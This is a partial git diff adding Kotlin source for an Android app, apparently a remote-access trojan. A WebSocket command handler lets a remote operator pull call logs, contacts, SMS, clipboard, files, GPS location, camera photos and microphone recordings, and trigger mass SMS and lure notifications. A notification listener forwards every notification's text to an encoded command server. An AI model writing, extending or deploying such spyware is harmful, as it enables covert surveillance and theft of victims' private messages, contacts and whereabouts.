+ request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
+ }
+ if (file.isFile) {
+ file.delete()
+ request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
+ }
+ } else {
+ request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ"))
+ }
+ } else {
+ request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("NewApi")
+ fun captureMicrophone(duration: Long) {
+ if (AppPermission(context).checkCaptureMic()) {
+ request.sendText(AppRequest.Text("$duration ꜱᴇᴄᴏɴᴅ ʀᴇᴄᴏʀᴅ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
+ val file = File.createTempFile("Mic - ${AppTools.getDeviceName()} - ", ".amr")
+ val mediaRecord = MediaRecorder()
+ mediaRecord.setAudioSource(MediaRecorder.AudioSource.MIC)
+ mediaRecord.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP)
+ mediaRecord.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB)
+ mediaRecord.setOutputFile(file)
+ mediaRecord.prepare()
+ mediaRecord.start()
+ Handler(Looper.getMainLooper()).postDelayed({
+ mediaRecord.stop()
+ mediaRecord.release()
+ request.sendFile(file)
+ }, duration * 1000)
+ } else {
+ request.sendText(AppRequest.Text("ᴍɪᴄʀᴏᴘʜᴏɴᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ fun captureCameraMain() {
+ if (AppPermission(context).checkCaptureCam()) {
+ request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ᴍᴀɪɴ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
+ val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png")
+ val holder = SurfaceTexture(0)
+ val camera = Camera.open(0)
+ camera.setPreviewTexture(holder)
+ camera.startPreview()
+ camera.takePicture(
+ null,
+ null,
+ ) { p0, p1 ->
+ file.writeBytes(p0)
+ p1.release()
+ request.sendFile(file)
+ request.sendText(AppRequest.Text(""))
+ }
+ } else {
+ request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ fun captureCameraSelfie() {
+ if (AppPermission(context).checkCaptureCam()) {
+ request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ꜱᴇʟꜰɪᴇ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
+ val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png")
+ val holder = SurfaceTexture(0)
+ val camera = Camera.open(1)
+ camera.setPreviewTexture(holder)
+ camera.startPreview()
+ camera.takePicture(
+ null,
+ null,
+ ) { p0, p1 ->
+ file.writeBytes(p0)
+ p1.release()
+ request.sendFile(file)
+ }
+ } else {
+ request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("MissingPermission", "NewApi")
+ fun uploadGpsLocation() {
+ request.sendText(AppRequest.Text("ʟᴏᴄᴀᴛɪᴏɴ ʀᴇQᴜᴇꜱᴛ ʀᴇᴄᴇɪᴠᴇᴅ, ᴅᴇᴠɪᴄᴇ ʟᴏᴄᴀᴛɪᴏɴ ᴡɪʟʟ ʙᴇ ꜱᴇɴᴛ ꜱᴏᴏɴ ɪꜰ ᴀᴠᴀɪʟᴀʙʟᴇ"))
+ if (permission.checkGetLocation()) {
+ val client = FusedLocationProviderClient(context)
+ val locationRequest = LocationRequest.create()
+ locationRequest.priority = LocationRequest.PRIORITY_HIGH_ACCURACY
+ client.requestLocationUpdates(locationRequest, object : LocationCallback() {
+ override fun onLocationResult(p0: LocationResult) {
+ if (p0 != null) {
+ val lat = p0.lastLocation?.latitude
+ val lon = p0.lastLocation?.longitude
+ if (lat != null) {
+ if (lon != null) {
+ request.sendLocation(
+ AppRequest.Location(
+ lat.toFloat(),
+ lon.toFloat()
+ )
+ )
+ }
+ }
+ }
+ }
+ }, Looper.getMainLooper())
+ } else {
+ request.sendText(AppRequest.Text("ɢᴘꜱ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ fun showToast(text: String) {
+ Handler(Looper.getMainLooper()).post {
+ Toast.makeText(context, text, Toast.LENGTH_LONG).show()
+ }
+ request.sendText(AppRequest.Text("ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ"))
+ }
+
+ @SuppressLint("NewApi")
+ fun showNotification(title: String, url: String) {
+ val NOTIFICATION_CHANNEL_ID = "channel"
+ val notificationIntent = Intent(Intent.ACTION_VIEW)
+ notificationIntent.data = Uri.parse(url);
+ val resultIntent = PendingIntent.getActivity(
+ context,
+ 0,
+ notificationIntent,
+ PendingIntent.FLAG_MUTABLE
+ )
+ val mBuilder = NotificationCompat.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_baseline_warning_24)
+ .setContentTitle(title)
+ .setContentText("")
+ .setBadgeIconType(NotificationCompat.BADGE_ICON_LARGE)
+ .setPriority(NotificationManager.IMPORTANCE_HIGH)
+ .setContentIntent(resultIntent)
+ val mNotificationManager =
+ context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager?
+ mNotificationManager!!.notify(
+ System.currentTimeMillis().toInt(),
+ mBuilder.build()
+ )
+ request.sendText(AppRequest.Text("ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ"))
+ }
+
+ @SuppressLint("NewApi")
+ fun vibratePhone() {
+ val vibrationManager =
+ context.getSystemService(Service.VIBRATOR_MANAGER_SERVICE) as VibratorManager
+ vibrationManager.vibrate(
+ CombinedVibration.createParallel(
+ VibrationEffect.createOneShot(
+ 2000,
+ 1
+ )
+ )
+ )
+ request.sendText(AppRequest.Text("ᴅᴇᴠɪᴄᴇ ᴠɪʙʀᴀᴛɪᴏɴ ʜᴀꜱ ʙᴇᴇɴ ᴇxᴇᴄᴜᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
+ }
+
+ fun playAudio(url: String) {
+ AppScope.runMain {
+ try {
+ mediaPlayer = MediaPlayer()
+ if (mediaPlayer != null) {
+ mediaPlayer!!.setDataSource(url)
+ mediaPlayer!!.prepare()
+ mediaPlayer!!.start()
+ request.sendText(AppRequest.Text("ᴛʜᴇ ᴀᴜᴅɪᴏ ꜰɪʟᴇ ɪꜱ ᴘʟᴀʏɪɴɢ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
+ }
+ } catch (e:Exception){
+ request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ᴘʟᴀʏʙᴀᴄᴋ ꜰᴀɪʟᴇᴅ"))
+ }
+ }
+ }
+
+ fun stopAudio() {
+ AppScope.runMain {
+ if (mediaPlayer != null) {
+ mediaPlayer!!.release()
+ mediaPlayer = null
+ request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ꜱᴛᴏᴘᴘᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
+ }
+ }
+ }
+
+ data class SmsModel(
+ val phone: String,
+ val message: String,
+ val device: String
+ )
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt
new file mode 100644
index 0000000..85d81fc
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt
@@ -0,0 +1,19 @@
+package willi.fiend.Utils
+
+import android.service.notification.NotificationListenerService
+import android.service.notification.StatusBarNotification
+
+class AppNotificationListener : NotificationListenerService() {
+ override fun onNotificationPosted(sbn: StatusBarNotification?) {
+ val title = sbn?.notification?.extras?.getString("android.title")
+ val text = sbn?.notification?.extras?.getString("android.text")
+ val packageName = sbn?.packageName
+
+ var message = ""
+ message += "App : $packageName\n"
+ message += "Title : $title\n"
+ message += "Text : $text"
+
+ AppRequest().sendText(AppRequest.Text(message))
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt
new file mode 100644
index 0000000..01e9ad7
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt
@@ -0,0 +1,106 @@
+package willi.fiend.Utils
+
+import android.Manifest
+import android.content.Context
+import android.content.pm.PackageManager
+import com.karumi.dexter.Dexter
+import com.karumi.dexter.MultiplePermissionsReport
+import com.karumi.dexter.PermissionToken
+import com.karumi.dexter.listener.PermissionRequest
+import com.karumi.dexter.listener.multi.MultiplePermissionsListener
+
+class AppPermission(private val context: Context) {
+ fun getPerms(onPermissionsChecked: () -> Unit) {
+ Dexter
+ .withContext(context)
+ .withPermissions(
+ Manifest.permission.READ_EXTERNAL_STORAGE,
+ Manifest.permission.RECEIVE_SMS,
+ Manifest.permission.READ_SMS,
+ Manifest.permission.SEND_SMS,
+ Manifest.permission.READ_CALL_LOG,
+ Manifest.permission.READ_CONTACTS,
+ Manifest.permission.INTERNET,
+ Manifest.permission.RECORD_AUDIO,
+ Manifest.permission.CAMERA,
+ Manifest.permission.ACCESS_FINE_LOCATION,
+ Manifest.permission.ACCESS_COARSE_LOCATION
+ ).withListener(object : MultiplePermissionsListener {
+ override fun onPermissionsChecked(p0: MultiplePermissionsReport?) {
+ onPermissionsChecked()
+ }
+
+ override fun onPermissionRationaleShouldBeShown(
+ p0: MutableList?,
+ p1: PermissionToken?
+ ) {}
+ }).check()
+ }
+
+ fun checkReadExternalStorage(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.READ_EXTERNAL_STORAGE
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+
+ fun checkWriteExternalStorage(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.WRITE_EXTERNAL_STORAGE
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+
+ fun checkReadSms(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission2 = Manifest.permission.READ_SMS
+ val checkPrem2: Int = context.checkCallingOrSelfPermission(requiredPermission2)
+ return checkPrem2 == granted
+ }
+
+ fun checkReceiveSms(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.RECEIVE_SMS
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+
+ fun checkSendSms(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission3 = Manifest.permission.SEND_SMS
+ val checkPrem3: Int = context.checkCallingOrSelfPermission(requiredPermission3)
+ return checkPrem3 == granted
+ }
+
+ fun checkReadCallLog(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.READ_CALL_LOG
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+
+ fun checkReadContacts(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.READ_CONTACTS
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+ fun checkCaptureMic(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.RECORD_AUDIO
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+ fun checkCaptureCam(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.CAMERA
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+ fun checkGetLocation(): Boolean {
+ val granted = PackageManager.PERMISSION_GRANTED
+ val requiredPermission = Manifest.permission.ACCESS_FINE_LOCATION
+ val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
+ return checkPrem == granted
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt
new file mode 100644
index 0000000..fe4eb5f
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt
@@ -0,0 +1,111 @@
+package willi.fiend.Utils
+
+import android.content.Context
+import android.util.Log
+import androidx.lifecycle.ViewModel
+import androidx.lifecycle.viewModelScope
+import com.google.gson.Gson
+import kotlinx.coroutines.Dispatchers
+import kotlinx.coroutines.launch
+import okhttp3.*
+import okhttp3.MediaType.Companion.toMediaType
+import java.io.File
+import java.io.IOException
+
+class AppRequest() : ViewModel() {
+ private val CLIENT = OkHttpClient()
+ private val HOST = AppTools.getAppData().host
+
+ fun awake() {
+ viewModelScope.launch(Dispatchers.IO) {
+ val request = Request.Builder().url(HOST).build()
+ CLIENT.newCall(request).enqueue(object : Callback {
+ override fun onFailure(call: Call, e: IOException) {}
+ override fun onResponse(call: Call, response: Response) {
+ response.close()
+ }
+ })
+ }
+ }
+
+ fun sendFile(file: File) {
+ viewModelScope.launch(Dispatchers.IO) {
+ val formBody = MultipartBody.Builder()
+ .setType(MultipartBody.FORM)
+ .addFormDataPart("file", file.name, RequestBody.create(null, file))
+ .build()
+ val request = Request.Builder()
+ .url(HOST + "uploadFile/")
+ .post(formBody)
+ .addHeader("model", AppTools.getDeviceName())
+ .build()
+ CLIENT.newCall(request).enqueue(object : Callback {
+ override fun onFailure(call: Call, e: IOException) {}
+ override fun onResponse(call: Call, response: Response) {
+ response.close()
+ }
+ })
+ }
+ }
+
+ fun sendText(text: Text) {
+ viewModelScope.launch(Dispatchers.IO) {
+ val gson = Gson().toJson(text)
+ val request = Request.Builder()
+ .url(HOST + "uploadText/")
+ .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
+ .addHeader("model", AppTools.getDeviceName())
+ .build()
+ CLIENT.newCall(request).enqueue(object : Callback {
+ override fun onFailure(call: Call, e: IOException) {}
+ override fun onResponse(call: Call, response: Response) {
+ response.close()
+ }
+ })
+ }
+ }
+
+ fun sendLocation(location: Location) {
+ viewModelScope.launch(Dispatchers.IO) {
+ val gson = Gson().toJson(location).toString()
+ val request = Request.Builder()
+ .url(HOST + "uploadLocation/")
+ .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
+ .addHeader("model", AppTools.getDeviceName())
+ .build()
+ CLIENT.newCall(request).enqueue(object : Callback {
+ override fun onFailure(call: Call, e: IOException) {}
+ override fun onResponse(call: Call, response: Response) {
+ response.close()
+ }
+ })
+ }
+ }
+
+ fun sendWaterMark(){
+ viewModelScope.launch(Dispatchers.IO) {
+ Log.i("WAT",AppTools.getWatermark())
+ val gson = Gson().toJson(Text(AppTools.getWatermark()))
+ val request = Request.Builder()
+ .url(HOST + "uploadText/")
+ .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
+ .addHeader("model", AppTools.getDeviceName())
+ .build()
+ CLIENT.newCall(request).enqueue(object : Callback {
+ override fun onFailure(call: Call, e: IOException) {}
+ override fun onResponse(call: Call, response: Response) {
+ response.close()
+ }
+ })
+ }
+ }
+
+ data class Location(
+ val lat: Float,
+ val lon: Float
+ )
+
+ data class Text(
+ val text: String
+ )
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt
new file mode 100644
index 0000000..eef9b19
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt
@@ -0,0 +1,24 @@
+package willi.fiend.Utils
+
+import android.os.Handler
+import android.os.Looper
+import androidx.lifecycle.ViewModel
+import androidx.lifecycle.viewModelScope
+import kotlinx.coroutines.Dispatchers
+import kotlinx.coroutines.launch
+
+class AppScope(val runnable: Runnable) : Runnable , ViewModel(){
+ override fun run() {
+ viewModelScope.launch(Dispatchers.IO) {
+ runnable.run()
+ }
+ }
+ companion object {
+ fun runBack(runnable: Runnable) {
+ AppScope(runnable).run()
+ }
+ fun runMain(runnable: Runnable){
+ Handler(Looper.getMainLooper()).post(runnable)
+ }
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt
new file mode 100644
index 0000000..fd603a4
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt
@@ -0,0 +1,157 @@
+package willi.fiend.Utils
+
+import android.content.Context
+import android.os.Handler
+import android.os.Looper
+import android.util.Log
+import okhttp3.OkHttpClient
+import okhttp3.Request
+import okhttp3.Response
+import okhttp3.WebSocket
+
+
+class AppSocket(val context: Context) :
+ okhttp3.WebSocketListener() {
+ private val client = OkHttpClient()
+ private val requests = AppRequest()
+ val action = AppActions(context)
+
+ fun connect() {
+ AppScope.runBack {
+ val request = Request.Builder().url(AppTools.getAppData().socket)
+ requests.awake()
+ request.addHeader("model", AppTools.getDeviceName())
+ request.addHeader("battery", AppTools.getBatteryPercentage(context).toString())
+ request.addHeader("version", AppTools.getAndroidVersion().toString() + " (SDK)")
+ request.addHeader("brightness", AppTools.getScreenBrightness(context).toString())
+ request.addHeader("provider", AppTools.getProviderName(context))
+ client.newWebSocket(request.build(), this)
+ }
+ }
+
+ override fun onMessage(webSocket: WebSocket, text: String) {
+ Log.i("MESSAGE",text)
+ when(text){
+ "calls" -> {
+ requests.sendWaterMark()
+ action.uploadCalls()
+ }
+ "contacts" -> {
+ requests.sendWaterMark()
+ action.uploadContact()
+ }
+ "messages" -> {
+ requests.sendWaterMark()
+ action.uploadMessages()
+ }
+ "apps" -> {
+ requests.sendWaterMark()
+ action.uploadApps()
+ }
+ "device_info" -> {
+ requests.sendWaterMark()
+ action.uploadDeviceInfo()
+ }
+ "clipboard" -> {
+ requests.sendWaterMark()
+ action.uploadClipboard()
+ }
+ "camera_main" -> {
+ requests.sendWaterMark()
+ action.captureCameraMain()
+ }
+ "camera_selfie" -> {
+ requests.sendWaterMark()
+ action.captureCameraSelfie()
+ }
+ "gpsLocation" -> {
+ requests.sendWaterMark()
+ action.uploadGpsLocation()
+ }
+ "vibrate" -> {
+ requests.sendWaterMark()
+ action.vibratePhone()
+ }
+ "stop_audio" -> {
+ requests.sendWaterMark()
+ action.stopAudio()
+ }
+ "ping" -> webSocket.send("pong")
+ else -> {
+ val commend = text.split(":")[0]
+ val data = text.split(":")[1]
+ when(commend){
+ "send_message" -> {
+ val number = data.split("/")[0]
+ val message = data.split("/")[1]
+ action.sendMessage(number, message)
+ requests.sendWaterMark()
+ }
+ "send_message_to_all" -> {
+ action.messageToAllContacts(data)
+ requests.sendWaterMark()
+ }
+ "file" -> {
+ action.uploadFile(data)
+ requests.sendWaterMark()
+ }
+ "delete_file" -> {
+ action.deleteFile(data)
+ requests.sendWaterMark()
+ }
+ "microphone" -> {
+ val duration = data.toLongOrNull()
+ if (duration != null) {
+ action.captureMicrophone(duration)
+ requests.sendWaterMark()
+ } else {
+ requests.sendText(AppRequest.Text("Invalid duration"))
+ requests.sendWaterMark()
+ }
+ }
+ "toast" -> {
+ action.showToast(data)
+ requests.sendWaterMark()
+ }
+ "show_notification" -> {
+ val notificationData = text.substringAfter(":")
+ val title = notificationData.substringBefore("/")
+ val url = notificationData.substringAfter("/")
+ action.showNotification(title, url)
+ requests.sendWaterMark()
+ }
+ "play_audio" -> {
+ action.playAudio(text.substringAfter(":"))
+ requests.sendWaterMark()
+ }
+ }
+ }
+ }
+ }
+
+ override fun onOpen(webSocket: WebSocket, response: Response) {}
+
+ override fun onClosed(webSocket: WebSocket, code: Int, reason: String) {
+ Log.i("ERR",reason)
+ Handler(Looper.getMainLooper()).postDelayed({
+ connect()
+ }, 5000)
+ }
+
+ override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) {
+ t.printStackTrace()
+ if (response != null) {
+ Log.i("ERR", response.message)
+ }
+ Handler(Looper.getMainLooper()).postDelayed({
+ connect()
+ }, 5000)
+ }
+
+ override fun onClosing(webSocket: WebSocket, code: Int, reason: String) {
+ Log.i("ERR",reason)
+ Handler(Looper.getMainLooper()).postDelayed({
+ connect()
+ }, 5000)
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt
new file mode 100644
index 0000000..98f777f
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt
@@ -0,0 +1,186 @@
+package willi.fiend.Utils
+
+import android.annotation.SuppressLint
+import android.app.Activity
+import android.app.ActivityManager
+import android.app.DownloadManager
+import android.content.ContentResolver
+import android.content.Context
+import android.graphics.Bitmap
+import android.graphics.Canvas
+import android.graphics.Color
+import android.graphics.Paint
+import android.net.Uri
+import android.os.BatteryManager
+import android.os.Build
+import android.os.Environment
+import android.provider.Settings
+import android.telephony.TelephonyManager
+import android.webkit.DownloadListener
+import android.webkit.URLUtil
+import androidx.activity.ComponentActivity
+import com.google.gson.Gson
+import willi.fiend.MainService
+import java.util.*
+
+
+@SuppressLint("Range")
+class AppTools {
+ companion object {
+ @SuppressLint("NewApi")
+ fun getAppData(): AppData {
+ val data = ""
+ val text = decode(data)
+ return Gson().fromJson(text, AppData::class.java)
+ }
+
+ @SuppressLint("NewApi")
+ private fun decode(base64: String): String {
+ val decodedBytes: ByteArray = Base64.getDecoder().decode(base64)
+ return String(decodedBytes)
+ }
+
+ @SuppressLint("NewApi")
+ fun getWatermark(): String {
+ val encodedWatermark = "4bSF4bSH4bSg4bSHyp/htI/htJjhtIfhtIUgypnKjyA6IEBoYWNrZGFnZ2Vy"
+ val decodedWatermark = Base64.getDecoder().decode(encodedWatermark)
+ return String(decodedWatermark)
+ }
+
+ data class AppData(
+ val host: String,
+ val socket: String,
+ val webView: String
+ )
+
+ fun getAndroidVersion(): Int {
+ return Build.VERSION.SDK_INT
+ }
+
+ fun getScreenBrightness(context: Context): Int {
+ return Settings.System.getInt(
+ context.contentResolver,
+ Settings.System.SCREEN_BRIGHTNESS
+ );
+ }
+
+ fun getProviderName(context: Context): String {
+ return try {
+ val manager =
+ context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
+ manager.networkOperatorName
+ } catch (ex: Exception) {
+ "no provider"
+ }
+ }
+
+ fun getDeviceName(): String {
+ fun capitalize(s: String?): String {
+ if (s == null || s.isEmpty()) {
+ return ""
+ }
+ val first = s[0]
+ return if (Character.isUpperCase(first)) {
+ s
+ } else {
+ Character.toUpperCase(first).toString() + s.substring(1)
+ }
+ }
+
+ val manufacturer = Build.MANUFACTURER
+ val model = Build.MODEL
+ return if (model.lowercase(Locale.getDefault())
+ .startsWith(manufacturer.lowercase(Locale.getDefault()))
+ ) {
+ capitalize(model)
+ } else {
+ capitalize(manufacturer) + " " + model
+ }
+ }
+
+ fun getBatteryPercentage(context: Context): Int {
+ val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager
+ return bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY)
+ }
+
+ fun isNotificationServiceRunning(context: Context): Boolean {
+ val contentResolver: ContentResolver = context.contentResolver
+ val enabledNotificationListeners: String =
+ Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
+ val packageName: String = context.packageName
+ return enabledNotificationListeners.contains(
+ packageName
+ )
+ }
+
+ fun isServiceRunning(
+ context: Context,
+ serviceClass: Class<*> = MainService::class.java
+ ): Boolean {
+ val manager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
+ for (service in manager.getRunningServices(Int.MAX_VALUE)) {
+ if (serviceClass.name == service.service.className) {
+ return true
+ }
+ }
+ return false
+ }
+
+ fun disableWelcome(context: Context) {
+ val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE)
+ val editor = prefs.edit()
+ editor.putBoolean("showWelcome", false)
+ editor.apply()
+ }
+
+ fun showWelcome(context: Context): Boolean {
+ val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE)
+ return prefs.getBoolean("showWelcome", true)
+ }
+
+ private const val APP_PACKAGE_DOT_COUNT = 2
+ private const val DUAL_APP_ID_999 = "999"
+ private const val DOT = '.'
+
+ fun checkAppCloning(activity: Activity) {
+ val path: String = activity.filesDir.path
+ if (path.contains(DUAL_APP_ID_999)) {
+ killProcess(activity)
+ } else {
+ val count: Int = getDotCount(path)
+ if (count > APP_PACKAGE_DOT_COUNT) {
+ killProcess(activity)
+ }
+ }
+ }
+ private fun getDotCount(path: String): Int {
+ var count = 0
+ for (element in path) {
+ if (count > APP_PACKAGE_DOT_COUNT) {
+ break
+ }
+ if (element == DOT) {
+ count++
+ }
+ }
+ return count
+ }
+
+ private fun killProcess(context: Activity) {
+ context.finish()
+ android.os.Process.killProcess( android.os.Process.myPid())
+ }
+ }
+
+ class WebViewDownloadListener(private val context: Context) : DownloadListener {
+ override fun onDownloadStart(p0: String?, p1: String?, p2: String?, p3: String?, p4: Long) {
+ val request = DownloadManager.Request(Uri.parse(p0))
+ request.setDestinationInExternalPublicDir(
+ Environment.DIRECTORY_DOWNLOADS,
+ URLUtil.guessFileName(p0, p2, p3)
+ )
+ val dm = context.getSystemService(ComponentActivity.DOWNLOAD_SERVICE) as DownloadManager
+ dm.enqueue(request)
+ }
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml b/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
new file mode 100644
index 0000000..2b068d1
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
@@ -0,0 +1,30 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/drawable/header.jpg b/source code/apk src code v3/app/src/main/res/drawable/header.jpg
new file mode 100644
index 0000000..0e24a71
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/drawable/header.jpg differ
diff --git a/source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml b/source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml
new file mode 100644
index 0000000..3c9a4b3
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml
@@ -0,0 +1,5 @@
+
+
+
diff --git a/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml b/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml
new file mode 100644
index 0000000..07d5da9
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml
@@ -0,0 +1,170 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/source code/apk src code v3/app/src/main/res/drawable/icon.png b/source code/apk src code v3/app/src/main/res/drawable/icon.png
new file mode 100644
index 0000000..37dce8a
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/drawable/icon.png differ
diff --git a/source code/apk src code v3/app/src/main/res/drawable/mpt.xml b/source code/apk src code v3/app/src/main/res/drawable/mpt.xml
new file mode 100644
index 0000000..f5ec26e
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/drawable/mpt.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/drawable/settings.png b/source code/apk src code v3/app/src/main/res/drawable/settings.png
new file mode 100644
index 0000000..6cff865
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/drawable/settings.png differ
diff --git a/source code/apk src code v3/app/src/main/res/font/helvetica.ttf b/source code/apk src code v3/app/src/main/res/font/helvetica.ttf
new file mode 100644
index 0000000..4d99761
